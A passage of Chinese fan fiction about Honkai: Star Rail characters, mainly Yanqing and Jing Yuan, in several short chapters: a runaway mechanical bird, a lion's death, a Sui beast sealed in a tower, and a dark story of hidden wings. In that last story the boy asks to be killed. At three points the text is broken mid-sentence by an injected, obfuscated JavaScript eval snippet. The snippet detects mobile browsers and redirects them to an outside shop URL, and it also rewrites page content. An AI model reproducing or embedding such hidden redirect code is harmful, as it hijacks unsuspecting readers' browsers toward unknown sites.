然后是玉界门,呈对称状的巨大仙舟符文悬于空中,荧蓝的光流淌其上。彦卿明显更加兴奋,拍掌声和笑声从屏幕那头传来。 “距离算挺远,但靠近玉界门果然还是太危险……”还没法完全放心。 “重新连上了!现在返程,先远离玉界门,”狐人姐姐小心地操作,看着屏幕上逐渐变小的玉界门,感动得快要哭出来。 转而想起来彦卿一开始说的话,哭笑不得:“还真是,差一点就让你飞过去了。” 最后一个完整画面是前来救援的星槎和飞行士,此后便是迅速飞过、快到普通人眼睛都反应不来的景象。 再之后就是: “将军!”小孩被飞行士抱着走出星槎,手里还抱着两只机巧鸟,一见面就笑着喊,然而随后就被码头的阵仗惊到了。 码头上、瞭望台上聚着的人们齐齐鼓掌,掌声轰得小孩一愣一愣的 “……哇,好多人! “怎么,刚才那么高都不怕,现在见着人多就怕啦?”飞行士开玩笑逗他,边把小孩交给将军边说,“小孩胆子挺大,以后要不要来做飞行士?” 将军笑笑:“让他将来自己选吧。” “这么喜欢机巧,不若来我工造司。” “他更喜欢机巧鸟,来我们鹤运物流也行,累是累,但工作可是很有意义的。”梓桥在一边,自然而然地加入了这场论争。 而彦卿转头看去,正见眼圈红红的狐人姐姐,喊:“姐姐!”一边就从景元怀里挣下来,往那边走。 狐人专员憋了好久的情绪,看到孩子平安无事时终于爆发了,也顾不上丢不丢人,蹲地上就开始哭; “呜哇!你吓坏姐姐了!我下回再也不玩机巧鸟了!我到底哪来的自信?我就是个傻X!啊啊啊啊啊啊!” 彦卿不知道对方为什么哭,但他知道该怎么哄人。四岁的小孩煞有其事地伸手,摸摸对方的发髻,一边说:“姐姐不哭,不哭不哭哦。” 狐人姐姐:更想哭了QAQ 机巧鸟可以飞过玉界门吗? “将军,彦卿去了好高好高的地方。” “嗯,好看吗?” “好看!” 或许答案并不重要。 景元养伤期间闲得无聊,索性翻翻以前的照片。想起旧事,眼里现出几分笑意。 孩子长大了,如今只需一人一剑就能横跨洞天,不至于像小时那样,被机巧鸟带走就让围观的人担惊受怕。 至于跨过玉界门,不过是时间问题吧。 窗外传来少年渐远的声音,听得出是一边跑一边喊:“将军,彦卿今日去执勤啦!” “嗯。” 4. 【彦卿】压岁 ??彦卿哭了。 在神策府入门左手边第二个石狮子雕像下,四五岁的孩子缩成一团,抽抽噎噎,像个奶黄色的小包子,还是刚蒸出来的受气款。 云骑们知道将军身边有这么个孩子,但这孩子一直很懂事,从不会在公事要处乱晃,此时也是下班了,才跑进来偷偷哭,被还没走的人发现。景元不在,一群大老爷儿们干瞪眼,搁旁边围观,站了一圈。 救星来了。 青镞将情报整理好,从外围进来,扒拉开围观的云骑,蹲到小朋友面前嬉笑:“呀,是谁把我们小燕儿惹成这样啦?” 奶黄包哭得一抽一抽,听到熟悉的声音就抬头,刚要伤心哭诉,才发现有人围观,于是瘪嘴不肯哭了。 但是一看到青镞,委屈劲和哭嗝一起往上冒,张口声音软软的,带着鼻音像是控诉,长句子说不清楚,偏偏语气又很肯定: “……你。” 顶着周围一圈震惊的视线,青镞也错愕,转而又笑:“那我可真是大罪人。” “我怎么欺负你了啊?” “你骗我,”小彦卿仰头看着她,抬手揉自己的眼睛,想把眼泪挡住,他真的特别特别伤心。 “咪咪死了。” 咪咪确实死了,就在三天前。 是一头寿终正寝的狮子,是神策府的吉祥物和好伙伴。 大家都忙,没人陪彦卿玩时,他就隔着兽栏,伸手没轻没重地薅毛毛,一边“咪咪”“咪咪”地喊。小孩子嗓音细,这么喊下来像是在学猫叫,早年还当自己是猫的狮子也乐得陪他玩,尽管打着哈欠,眼皮耷拉。踏浪雪狮子一身长白毛,越看越像神策府主位上那人。 狮子尾巴隔着兽栏勾住小孩,往上一抛,小燕子就从外面飞进了兽栏,稳稳落在它背上。彦卿乐呵呵直笑,在宽大的背上滚来滚去薅毛毛,直到被人发现,喊着“小捣蛋鬼”一边抱出来。 那还是前不久的事情。 咪咪死了。如何跟孩子解释它的死亡就成为一个十分困难的问题。 长生种的宿命是魔阴身而非死亡,死亡的概念在仙舟一向很模糊,对小孩子来说只能更模糊。 然而眼前的小孩现在掰着手指头: “浴铁说,咪咪吃了很多东西,因为吃太多了要睡很久。”她偶尔会叫上浴铁一起去采买食物,憨直的云骑用这个做理由实属正常。 “将军说,咪咪困了,要藏起来睡觉。”……是你自己想睡吧将军! “你说,你说……”彦卿说到这里,抬头看她,背靠着狮子雕像,“咪咪就在这里。” 感情是没串通好说辞被看出来了。 “对呀,咪咪就在这里。”青镞笑,跟着重复一遍。 “骗人。”小朋友脸上显出生气的神情,虽说没什么威慑力。 “那也是他们骗人,我可没骗你。”青镞说得极肯定。 太肯定了,肯定到小孩忍不住开始怀疑自己的判断。 小燕儿,你听到的“死亡”是什么样子呢? 就是,不会动、不会吃东西……再也看不到咪咪了呜…… 哎呀哎呀,你可别说着说着又哭了啊。 唔、嗯。 彦卿忍住,两只小手抬起乱糊,把眼泪鼻涕一把抹匀了,目光灼灼仰头看她。 青镞看了好笑,取出手绢给他擦干净,慢慢解释起来: “‘咪咪死了’和‘咪咪还在这里’不冲突啊。” 第一句就充分体现出她“战忽局”的本领,彦卿瞪大眼睛,以为又要被哄。然而青镞知道彦卿早慧,这次却不是想忽悠他,而是真心这么想。 ?? 小燕儿知道“压岁”吗? 压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332669|199178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁? 压岁又叫压祟,邪祟的祟,寓意辟邪驱鬼,保佑平安。 石狮子也是古习俗里的辟邪代表,与建筑配合作装饰用,代表尊贵、不容侵犯。 咪咪不在了,但他还在保护我们啊。 ?? 听不懂的词太多了。彦卿有点懵,挑听得懂的部分重复:“保佑、平安。” “对,保佑平安。” 青镞低头,带着小孩的手,极认真地摸上石狮子底座上那行字迹,一字一顿地带着人念出来: 朔雪在此长眠。忠骨带铜声。 彦卿认的字不多,两手扶着底座冰冷的石壁摸了又摸,吸吸鼻子,像是勉强能接受这说法了。但还惦记着一件事: “这样的话,咪咪就不能陪彦卿玩了。” “没关系,”青镞温柔地揉揉他的小脑袋,笑着回,“可以换你来陪他玩嘛。” 彦卿表情明亮起来,认真点头。 新年到。 新来的策士听完青镞策士长的安排布置,顺道也听完十年内更迭了多个版本的朔雪故事,深受感动,抬头准备认真膜拜狮子的雄姿,就发现了不对劲: “它……嘴里怎么塞了红包?” 她踮起脚看看,咋舌:得是年纪辈分多小的孩子才能收到这么多红包啊。 是真的很多,哪怕整齐叠起来,还是会多到从嘴侧露出红边,人经过,眼睛一扫就能看见。 居然没有人觉得奇怪吗? 青镞也看见了,刚才还思维清晰缜密的策士长此时笑眯眯,突然说起一些看似无厘头的话:“小孩子,有好东西就喜欢跟朋友分享嘛。” ? 小孩子?哪有小孩子?分享? 新来的策士陷入沉思:策士长此言是有什么深意吗? —————————————— 5. 【彦尾藿】小爷和大爷和判官大人 ?? “彦卿见过判官大人。”左边少年行礼。 “藿藿!见、见过骁卫大人!”右边小跟班行了个更大的礼。 尾巴大爷居中:“啧。” “来来,你,往右转;藿藿,往左转,”你大爷永远是你大爷,“都这么讲礼貌,正好,都给我行礼就行!” 青绿的火焰腾空,晃来晃去显得格外不耐烦:“行了我接受你们的礼了,可以走了吧?” 我是熔炬。 我重生了,这一次,我要夺回属于我的一切! “听起来像三流小说的开头。”被我附身的金发小子这样点评,我气到想要啃他脑袋。最后还是压下来了,我们岁阳是很有忍耐力的,只需要等到合适的时机…… 你问我为什么被打了一顿还要附身同样的人? 呵!我们岁阳可不像你们软弱的人类,哪里跌倒就要在哪里爬起来,这小子不过侥幸胜过我,再来一次,老夫可未必会输…… 你问我为什么不现在决斗?是不是怕了? 开玩笑,那当然是因为老夫有了更强大的梦想:我熔炬!是大岁阳燎原最好斗的碎片!我已见识过那位最强大的碎片了,不斗一斗就被封印起来,如何甘心!哼,你们就等着看…… 哎!那位来了,不跟你说了! “巡逻而已,这么畏畏缩缩的怎么行?就这还想增进实力呢!” “我、我努力!在努力了!” “啧……哟,有人来了。” 岁阳作乱已过去好些时日,如果祈龙坛那匆匆一面算是第一次见面,那这就是第二次。绥园入口依旧被封锁,除了幽府武弁几乎不会有人来往,现在倒是正好在门口见上面了。 “彦卿见过判官大人,”左边少年行礼,语态恭谨,“当日多谢判官大人出手搭救。” “藿藿!见、见过骁卫大人!”右边小跟班行了个更大的礼,“是您自己的功劳,那个、那个……”后面半句憋不出来,求救一样看向尾巴。 “怎么了,接着说呗,都这么久见习判官了,客套话总要学的吧——”尾巴大爷慢悠悠地飘出来,正对上彦卿好奇看他的视线。 尾巴:?咋地? 彦卿摇摇头:没事。 眼神交流间,尾巴大爷已经飘到中间位置,往两边瞅瞅:“啧。” “来来,你,往右转;藿藿,往左转,”尾巴大爷用实力证明你大爷永远是你大爷,“都这么讲礼貌,正好,都给我行礼就行!” 青绿的火焰腾空,晃来晃去显得格外不耐烦:“行了我接受你们的礼了,可以走了吧?” 经过捉鬼小队一行,散失的岁阳已大致都收入束形却邪阵里了,但以防万一,还是需要人巡查维护。藿藿对绥园很熟悉,自告奋勇接过巡查的任务,就正好碰见在外围张望的彦卿。 带路她还是没问题的。藿藿抓稳令旗,稳下心神,循着路径上去。 镇妖塔内的岁阳依然有一定沟通几率,彦卿说他想见熔炬,上次附身他的熔炬。 他会和熔炬说什么呢?这么大老远跑来,见一个可以说是加害过自己的岁阳。 到了。藿藿没靠近,歪着脑袋看那边,因为疑惑思考,耳朵微微上翘,用作耳饰的木牌跟着摇晃。 “那小子还敢主动往岁阳身边凑,也不怕再被附身一次。”尾巴大爷懒洋洋的,看热闹不嫌事大。 “我觉得不会,”藿藿若有所思,“岁阳是洞悉了人的弱点才能乘虚而入,可骁卫大人已经想开了。” 她说着,扭头看来,嗓音清甜,话中隐隐有雀跃的情绪:“就好像藿藿经历了那些事之后,再也不怕尾巴大爷会真的离开了。” 噫! 如果岁阳有身体,他现在怕是要抖落一堆的鸡皮疙瘩:“去去去,肉麻兮兮的!” “嘿嘿。”藿藿笑得高兴。 彦卿在做什么? 彦卿很好,他正在努力打消熔炬“自己是重生文主角”的想法;而熔炬据理力争,拿各种小说情节做论据,就是不肯放弃。 此处镇妖塔在谈狐林内,树林阴翳,阴风阵阵,配合着熔炬在脑子里停不下来的叭叭叭,吹得他心里拔凉拔凉。 彦卿受不了了:你怎么看这么多小说? 熔炬“呵”一声:你以为我附身的是谁?在谁记忆里看到的小说? 彦卿:…… 行。 与熔炬“重生论”相对的是彦卿的“劈叉论”——被收入葫芦中时,熔炬没把自己收干净,劈叉了,才会有现在站在塔前,内外各一个熔炬的情况。 岁阳是星火之精,分出多少都不奇怪,而此时附着于他身上的熔炬显然十分虚弱,虚弱到甚至不足以被称为岁阳,却还保持着基本的神智——没神智也不会跟彦卿争自己到底是重生还是劈叉了。 外面的熔炬正在和里面的熔炬吵架,先是互相嫌弃废,再是不约而同怂恿对方继续搞事,挑战那位岁阳中的最强者,听得一边的彦卿满头黑线:“我还在这里欸。” 好吧,熔炬跟另一个自己共商大计,没空理他。 “啧,”尾巴大爷不知道何时飘过来,从那些重复的话里拼了个七七八八,不屑哼笑,“就你?” 靠,熔炬也没听到他讲话。 大爷要骂人了:“这家伙耳背吧!” 彦卿:彦卿觉得,岁阳应该是不会耳背的? 哦,你小子,差点忘了。 尾巴扭过头来,扫两眼,那张Q版的凶悍脸上现出几许兴味:“剑胎武骨?有点看头。” 藿藿等久了,担心人出事,打发他过来看看。 切,让他过来他就过来,当他是跑腿的小厮嘛! 彦卿正看着他,又同他见礼:“彦卿见过这位……岁阳老师?” 一人一岁阳开始一段相当莫名的交流。 尾巴:你在叫他还在叫我?叫成这样一点特殊性没有。 彦卿:那是叫? 尾巴:……尾巴。 彦卿:? 尾巴:藿藿叫我尾巴,你要叫我尾巴大爷!听见没! 彦卿:彦卿知晓了,尾巴大爷。 尾巴这才满意点头:还算懂事。 “这么一段放在小说里是要被删掉的,”熔炬?被关版搁塔里边点评,“完全意义不明。” “就是就是,啰啰嗦嗦……”熔炬?虚弱版搁外边附和,附和到一半,感知到尾巴的力量,急刹车,“是你!” 话音里的惊愕让尾巴大爷稍感满足,他决定大方地忘记刚才被无视的经历,虽然不知道什么时候又会想起来。 “老夫要向你发起挑战!” 尾巴“呵”一声,用三分傲慢三分凉薄四分漫不经心,吐出一句:“你还不配。” 芜湖!舒服了!让你无视我! 尾巴装完逼,转身就准备回藿藿身边报这小子没事,却被熔炬急切喊住:“等等!我有一计!” “我附到他身上跟你打!这是我看中的苗子!你也附着到你看中的人类身上,就此分个高下如何?” 尾巴:你还挺迂回? 彦卿:不是吧阿sir。 暂时没人答应。熔炬拉扯着彦卿说话,一时半会儿过不来,尾巴转身回去找藿藿,把事当笑话讲给人听。 藿藿用她伶俐的小脑瓜,没一会儿就从尾巴的各种夸张里提炼出中心信息,她哆哆嗦嗦: “尾、尾巴大爷,他找你欸。” 尾巴:……你抖成这样是几个意思?我当然知道他找我啊!你就不能像那小子一样“想挑战将军就要先挑过我”吗?! 藿藿无辜地看过来:可这是你自己的事情啊。保护将军是骁卫大人的职责,保护你又不是我的…… 尾巴:哎,好好好,我服了你别说了! 这边,熔炬还在和彦卿扯皮。 彦卿:不听不听,王八念经。 “你不想变强吗?追求剑术的极致?”熔炬从最开始的循循善诱到现在的气急败坏,充分证明孩子的熊脾气到底有多难搞,“我的知识是确实存在的,你那时也看到了!” 彦卿沉默,确实。他依然记得自己初见那座剑阵时的震撼,一座真实不虚的武库宝藏——“剑术的极致”,就那样摆在他面前,好像伸伸手就能够到。 但是。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332670|199178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你当时让我对将军拔剑对吧?”小孩子不怎么记仇,但要分情况。彦卿伸手掐住红色的小火焰,笑得有些冷。 “更何况,将岁阳关入镇妖塔是十王司的工作,我如果私藏你,就是在妨碍别人工作了。”他分得清轻重。 另一边,尾巴大爷很愁,愁死了。 藿藿在翻自己用来收岁阳的藏月瓠。 “你试试看嘛,那家伙现在可弱了,正好给你当个武术陪练。” “不行,打架只是手段,藿藿身为判官,把岁阳收服好才是要紧,武力可以之后再练,寒鸦大人也会陪我练的。”狐人少女说话时神情十分认真,藿藿坚定地觉得就是因为自己上回工作出了纰漏,才让岁阳至今纠缠那个孩子。 明明平常弱成那样,偏偏在这种事情上很执着。尾巴也不好说什么了。 捉鬼小队一行后,藿藿觉得自己也成长了些许,对自己的武力值提出了更高的要求。 当时他还很欣慰:觉悟不错嘛藿藿! “就从挑武器开始吧!”尾巴大爷看那弱兮兮的令旗不爽很久了,兴致勃勃提议,“那两个判官用的锁链怎么样?” 藿藿有点心动,锁链甩出后可以直接缠住敌人,行动灵活,尖端的锥子杀伤力也大。她见过雪衣大人使用锁链的样子——近乎真正意义上的追魂索魄。 但实际使用时却遇到了相当大的困难,藿藿能拿起锁链,但拿起和运用自如完全是两个概念,看她那摇摇晃晃的样子,尾巴都怀疑她会把锁链砸到自己身上。 平时练习的时间也算不得多,藿藿还要完成判官的日常工作,雪衣寒鸦两个又有心护着她,遇到的战斗场面就更少了。久而久之,练习进度难免迟缓。 招鬼的体质没变,藿藿打不过,倒是逃跑能力与日俱增。 一直跑实在太窝囊。尾巴大爷盘算着给藿藿找个战斗练习对象很久了,这次正是个好机会。 藿藿很坚定,她不打,并且看尾巴不准备管那个孩子,自己已经准备掏出葫芦把熔炬残存的部分抓回去了。 渴望情绪的岁阳必然不想被关在镇妖塔里。尾巴大爷:“这不还是要打?” 藿藿摇头:“不一样,目的不一样。” 她转向彦卿那边,隔着一段距离:“那孩子,叫我‘判官大人’呢,”翠玉似的眸子眸光坚定闪亮,眼睛中的爪印图案更加显眼,“藿藿要履行好‘判官大人’的职责才行!” 藿藿做好了觉悟,她是判官,肩负勾摄邪魔的职责。 “这样就足够了,藿藿。” 轻柔的声音从背后传来,尾巴嗖一下就窜到藿藿脑后,不满地瞪过去,藿藿惊讶抬头:“寒鸦大人?” 寒鸦拍拍她的肩膀:“剩下交给我吧。” 最后的处理结果:熔炬如今的力量没多大威胁,可以待在外面,但要配合十王司的调查工作。 而熔炬出于自身意志想要待在彦卿身上,彦卿也答应了,应得很快。 岁阳残存的红焰不稳地闪烁,那张脸上像是画出来的凶悍表情竟也显出疑惑:“你不担忧上次的事情再次上演?” “该担心的是你才对,”应下此事的少年额发被塔内传来的冷风吹开,那双灿金的眸子嚣张十足,“小爷能赢你一次,就能赢你第二次。” “听说你们岁阳原本是天外星火,无欲无求,实力和情感成正比。” “你现在都弱成这样了,”彦卿伸手一把抓住火焰,笑得天使一样,嘴里却是威胁,“只要我一直比你强,你就要一直保持善良吧。” 熔炬:……可恶啊亏老夫还当你是傻白甜,居然这么嚣张吗臭小鬼! 气死了,打不过。 尾巴大爷吹口哨嘘人,藿藿好奇地看,寒鸦点点头:“那便拜托这位骁卫了。” 事情告一段落,几人吵吵闹闹,各回各家。 “练习又没成功,啧,回去自己练!” “尾巴大爷陪我练好不好?” “我才不陪,你自己玩去!” “臭小子,你今天晚上最好睁着眼睡觉!我一定会报复回去的!” “不好意思啊,彦卿没有这习惯,你加油。” 6. 【丰饶彦卿】有什么不可以呢 那是我在巡猎的战场上第一次看到他,而看到他的第一眼,我就知道他是个什么东西。 “战场很危险,您还是跟随后勤去……” 我把他与周围的空间隔开了。他还在劝说我去避险——我看上去像个普通的游医,孱弱又温顺,他却没想到这样的人好端端站在战场上原本就是不普通的。 这孩子应该不常做这类事,话说得有些生疏。直到路过的云骑同僚穿过他的身体,才发现不对劲。 他抬头看我,灿金的眼瞳尽是茫然,而后迅速转为敌意,举剑指来,杀意由剑尖聚成一点,咄咄逼人,明明还隔着一段距离,却像是可以在我身上戳个洞。 漂亮的眼睛,漂亮的剑,漂亮的杀意。 “你是谁?”少年嗓音调高,被他压低,问话的气势有几分唬人。 可我觉得他本应该有更漂亮的东西。 我大概是笑了,不然他不会露出那样像是被人瞧不起而愤怒的小孩神情。 “你可以来找我。”我想要摸他的脑袋,被他避开,他顺势挥剑,却被我的树藤卡住。 “丰饶……”他面露惊骇。 “嗯,丰饶。”我顺从地应和。 “孽物!” 少年人的怒意火苗一样窜得飞快,霎时出现的六把飞剑将我包围,却被凭空生长的巨树挡住。我想他的武器应当不凡,不然在见我轻松挡住时他不至于如此慌乱,可我的树同样不凡。 树身从中心裂开一道缝,而后现出一个大洞,我走进洞里,顺便解开了空间阻隔的术法。 他踏着剑就要冲过来,却因为能重新被人看见了,路过的云骑拦住他:“骁卫大人,将军在找你呢!” “可、我!” 那个洞连着大树在彦卿眼前瞬息消失,诡异的游医也不见了,只留下那句似是而非的话: “只要你想,就能找到我。” 巡猎的将军吗? 还真是出乎意料。口口声声说“孽物不除,巡猎无已”,这不是还养了一个嘛。 我离开那片战场,在星海漫无目的地游荡,就像多年前离开那艘大船,从此只为美好的丰饶而活一样。 路过一片地方,救活一片地方。我无休止地歌颂慈怀药王的无私仁慈,直到某天,听到那个孩子的心象。 我当如神明一般现身,为这个孩子抚去伤疤,让他成为丰饶新的信众。可我没有,我只是像上次一样很普通地出场,因为这个孩子是特殊的,他有特权,我在他身上看见那段自己尚未醒悟的懵懂时光。 他叫我来,却一言不发。我索性自己观察: 周围很黑,空间也狭窄,忙碌的机巧运作音从中间的缝隙传进来,跟着可怜的几丝光照一起。我翻出自己几百年前的记忆——那时我尚住在仙舟,猜测这里大概是码头,我和他待在一个大货箱里。 我试探着拉开一点货箱的门,裤脚传来轻微的拉扯力,似乎轻易就能甩开——是那孩子,他请求我不要开门。 “一点点?”我轻轻哄他,他没反应。 我试探着、慢慢地拉开,依然是几不可察的一道缝,光照流泄进来,比起刚才已然明亮许多,我看清他现在的样子: 抱腿缩在角落,感受到光后又往角落缩了缩,不肯抬头,看不到眼睛。衣服松垮,像是披着外袍就跑出来了,金色长发比上次见时长了很多,散落在地,又被翅膀胡乱压住。 对,翅膀。 我看到那双翅膀,心下道声果然。 锐利的骨、纤长的羽、美好的颜色,正是属于造翼者的翅膀。翅膀宽大又长,衣袍遮不住,伸到两边箱壁只好折叠起来放,货箱也显得拥挤,我想象不出那对翅膀在阳光下展开会有多漂亮,除非这孩子愿意现在飞出去给我看。 但这必不可能。 不,有什么不可以呢? 彦卿不知道自己是什么心情。懊恼、恐惧、担忧、羞耻混杂在一起,说不出来,唯独困惑的心情格外清晰。 翅膀…… 那时他还在战场上,受了伤,鲜红的血液自额头往下流,遮掩视线。世界仿佛都被红光笼罩,透过血迹,他看到同伴惊讶恐慌的神情,晕晕乎乎低头,他看到那对翅膀。 敌人的? 不对,是我的。 白羽上染上大片的红,彦卿如此清晰地感知到,那是自己的器官,正顺从他心地颤抖着。 他晕过去,醒来便在自己的房间里,行动受限,于是更多时间用来思考: 我是什么? 我是造翼者和仙舟人的混血; 我是不能轻易放出的怪物; 我是丰饶孽物。 “孽物不除,巡猎无已。”(注1) 我应该被除掉。谁来除掉我呢? 我应该去死吗? 他如此困惑着,困惑着,掩着身形从房间里跑了出来。 走正路太容易被发现,他蒙着外袍,从上空飞出去,翅膀没有很听他的话,飞一段就要停一段,还要躲空中的星槎。他依然迷恋飞行的感觉,可如果死掉了,就不能飞了。 应该去死吗? 依然困惑着,在这样的困惑中,那个人无声无息出现在他眼前,幽灵一样,和他一样。 我心情很好地坐下,顺手摸了两把翅膀,彦卿没抬头,翅膀“啪啦”一掀,在我手上留下几道血痕。 种族变了,境况变了,唯独这生气干架的气势没变。我觉得好笑,兴致勃勃跟他分享我的故事。 上次见面后,我稍微调查一下就知晓了这孩子的大致情况,该说是仙舟那边太不加遮掩呢?还是太过于傲慢呢? 彦卿,十四岁,云骑军史上最年轻的骁卫,罗浮将军近卫,剑胎武骨、天资过人,目标直指下任剑首。 哎呀哎呀,这样的孩子,却是造翼者和仙舟人的混血呢。 我十分期待接下来的发展,这个故事开头就让我乐了好些天,如今我也不吝于和他分享: “造翼者,骁卫大人在仙舟大敌名录中应当见过?” 他不理我,但没关系,我很擅长自说自话。 “据我观察,你大概是造翼者中的‘卫天种’,啊,别的倒也不是没可能。” “只是‘穹桑’覆灭后,那些称谓都不复存在了。” 我曾经目睹穹桑的陨落,毁灭的铁蹄顷刻间将那颗美丽的树状行星化为乌有,而仙舟出于「诛除孽物」的信条旁观目睹了全过程。 我停下,等着看他的反应。 他动了,抬头的动作相当缓慢,看向我,眼珠动得也很迟钝,一片灰败,照不进光。 我看不出他想问什么,但至少他的反应取悦了我,我乐意友好地告诉他全部。 “然后我就走了,离开仙舟,为了寻求‘长生种的最终意义’。” 我找到了,那是几千年过去依然令人心悸的奇迹——一位伟大的丰饶令使,瞬息救活一整个死灭的星球。而且那绝非是仅此一次的神迹,那是丰饶、丰饶啊,无私地在宇宙播撒生机。 对面的孩子愣愣地看着我,不知道有没有听进去。我喜欢他的金色,眼下这般姿态又实在惹人怜爱。 “你要不要跟我一起呢?「丰饶」接纳所有人,”我向他提议,“而「巡猎」会驱赶你,因为你现在是‘丰饶孽……’” 话没说完,货箱被“唰”一下拉开了,人造光大片大片照进来,我看见少年眼睛猛地睁大,继而低下头,惶恐地往角落缩,货箱却只有那么大,阳光照在小腿上,苍白得近乎透明。 我提醒他:“用翅膀。” 那对翅膀才后知后觉地向中间合,把人密不透风地拢住,速度慢得像是新长出来的器官。 确实,应该真是新长出来的。 “阁下是不是太粗暴了?”来者是罗浮的将军,若非情况不对,我真乐意沏上一壶好茶和他聊聊天,虽说他未必乐意跟我聊。 白发金瞳的将军原本在看彦卿,听到声音冷冷扫了我一眼,躬身走进来,顺手将货箱掩好。 货箱内重归黑暗,空间因着第三个人的加入更显逼仄,罗浮将军盘腿坐到那孩子面前,没有人说话。 在我的调查中,这两人既是师徒,又近似养父子,一个崇敬着追随另一个的足迹,一个殷切着期盼另一个的未来。如此关系,这般情况,又该作何反应呢?我盘腿坐在角落,饶有兴趣地观察起来。 “彦卿,我们回家?” 仙舟的仁慈与残酷从来是并存的,就如眼前温言细语哄孩子的将军,就如货箱外手持兵戈严阵以待的士兵。啊,真是熟悉的虚伪。 柔软的孩子看不透这虚伪,却拥有惊人的直觉,比如此刻,他知晓对方口中所言不过是美好的愿景,他早已回不了家。 “将军,”久未开口,彦卿的嗓音十分干涩,说一句话都显得很困难,然而他却一直说,“彦卿是,造翼者。” 是什么力量推动他说这些呢? “彦卿过去,杀过许多造翼者。”他一直低着头。 景元伸出手,想要碰碰他家小孩的头,最终还是没有这么做:“你在为杀害同族难过?是我允你上阵,你在怨恨我吗?” 彦卿抬起头看他,摇头否认了,货箱内一片漆黑,看不见表情,只听见他喃喃道:“彦卿只是,不知道该怎么办……” “将军?”他很困惑,伸手试探着摸索,语气很小心地询问,“杀了彦卿?” 密闭的货箱内,空气本就不流通,在那一瞬间像是静止了。我看着那个僵着没动的背影,兴致勃勃地想象他的心情,如果我会占测 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332671|199178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,倒是可以卜算一番?可惜我只是一个游医而已。 我凑过去,非常不长眼色地在这个时候给那孩子治伤——不知是几时留下的伤口,看上去裂了好几回,不过没关系,我有丰饶…… “离他远点。” 身侧这人的声音冷得像是能掉落一地冰渣,我回头,正对上他叫出那个两千多年都没被叫过的名字——“月偃。” 狐人月偃,飞行士月偃,曜青仙舟天舶司司舵月偃,同时,也是《倏忽垂迹妙法秘传灵书经》著者月偃,药王秘传第一位魁首月偃。 嗯嗯,我笑眯眯应了。 “你是狐人,却已活了两千余岁。” 我摊手,知晓他此时质问我,不过是在发火:“有什么不可以呢?” 没法对孩子发火就对我发火,无妨,药王慈怀,我不生气。 景元其实没有生气,只是如今的彦卿承不起风险,更别说来历不明的丰饶力量——现在是造翼者和人的混血,倘若接受了那力量,又会变成什么呢? 在他的设想里,本不至于发展到如此地步,至少不会让彦卿在战场显露那对翅膀,直面同僚和敌人惊愕的目光。明明没有背叛,却莫名其妙成了两边的叛徒。 景元思绪纷乱,感受到原本拉扯的力道收回去了,低头。 此前彦卿在黑暗中摸索,顺手就抓住他腰侧悬着的那支笔。彦卿喜欢抓那支笔。 他刚捡到彦卿时,小孩子只有那么高,伸手只能够到那个高度——抓披风、抓裤腿、抓笔;然而又实在太轻,景元行动时都感觉不到——抓着披风,他一个弯腰,小孩子就被双脚悬空带起来;抓着裤腿,他一个迈步,就带着树袋熊一样的小孩一起走了,要走上一段才能发现。 所以最后彦卿还是喜欢抓笔,一抓景元就能感觉到,看见大人低头了就弯起眼咧开嘴笑。 于是低头的大人就对上自家孩子一双笑眼,也笑,忙的话就指指公文摸摸头,彦卿自觉走开;不忙的话就问“怎么了”。 “怎么了”一出,小小的孩子就知晓自己得了许可,叽叽喳喳地开始分享:彦卿今天看到什么,彦卿今天学到什么,彦卿今天想要什么,彦卿明天想要什么…… 他时常觉得,时间对于不同人来说厚度不一,对于小孩子来说,大概是无法想象、也无需想象其终点般的厚重。 彦卿有长生种的自觉,他或许设想过自己一百岁两百岁时的样子,或许会计算自己还有多久才能赶上那些传奇人物,从来没想过要去死,现在却这样想了,开口向他请求了。 这是他的孩子。 不是造翼者的孩子。 他的孩子才在世上活了十几年,怎么就不能继续活了?谁说的不能? 是可以的。有什么不可以呢? 彦卿收回了抓笔的手。 “万般皆是命,半点不由人。”那将军半天没说话,我摇头晃脑唏嘘。 两个人都没理我。 许久,那位将军开口了,似乎拿出什么东西,动作间带着叮咚叮咚的响声:“如果在巡猎的战场上,你站在对面,我会杀了你,彦卿。” 他取出一把长命锁。小孩子爱跑爱跳还要飞,甭说饰品,早些时候连加件衣服都要人哄着,这把锁却听他的话,一戴就是许多年。 你并没有以丰饶的立场杀害过任何人。 哪怕是仙舟,你也并不是没有立足之地。只是这样或许会过得很辛苦,去外面转转也好。 星海远超你想象的浩瀚。 彦卿抬头看他,浅金的眼瞳眸光依然摇晃,看着并不十分清醒。将军的金瞳颜色更深,看进去时,正像眺望一片星海。 “彦卿就是彦卿,先是彦卿,之后才是其他身份。” 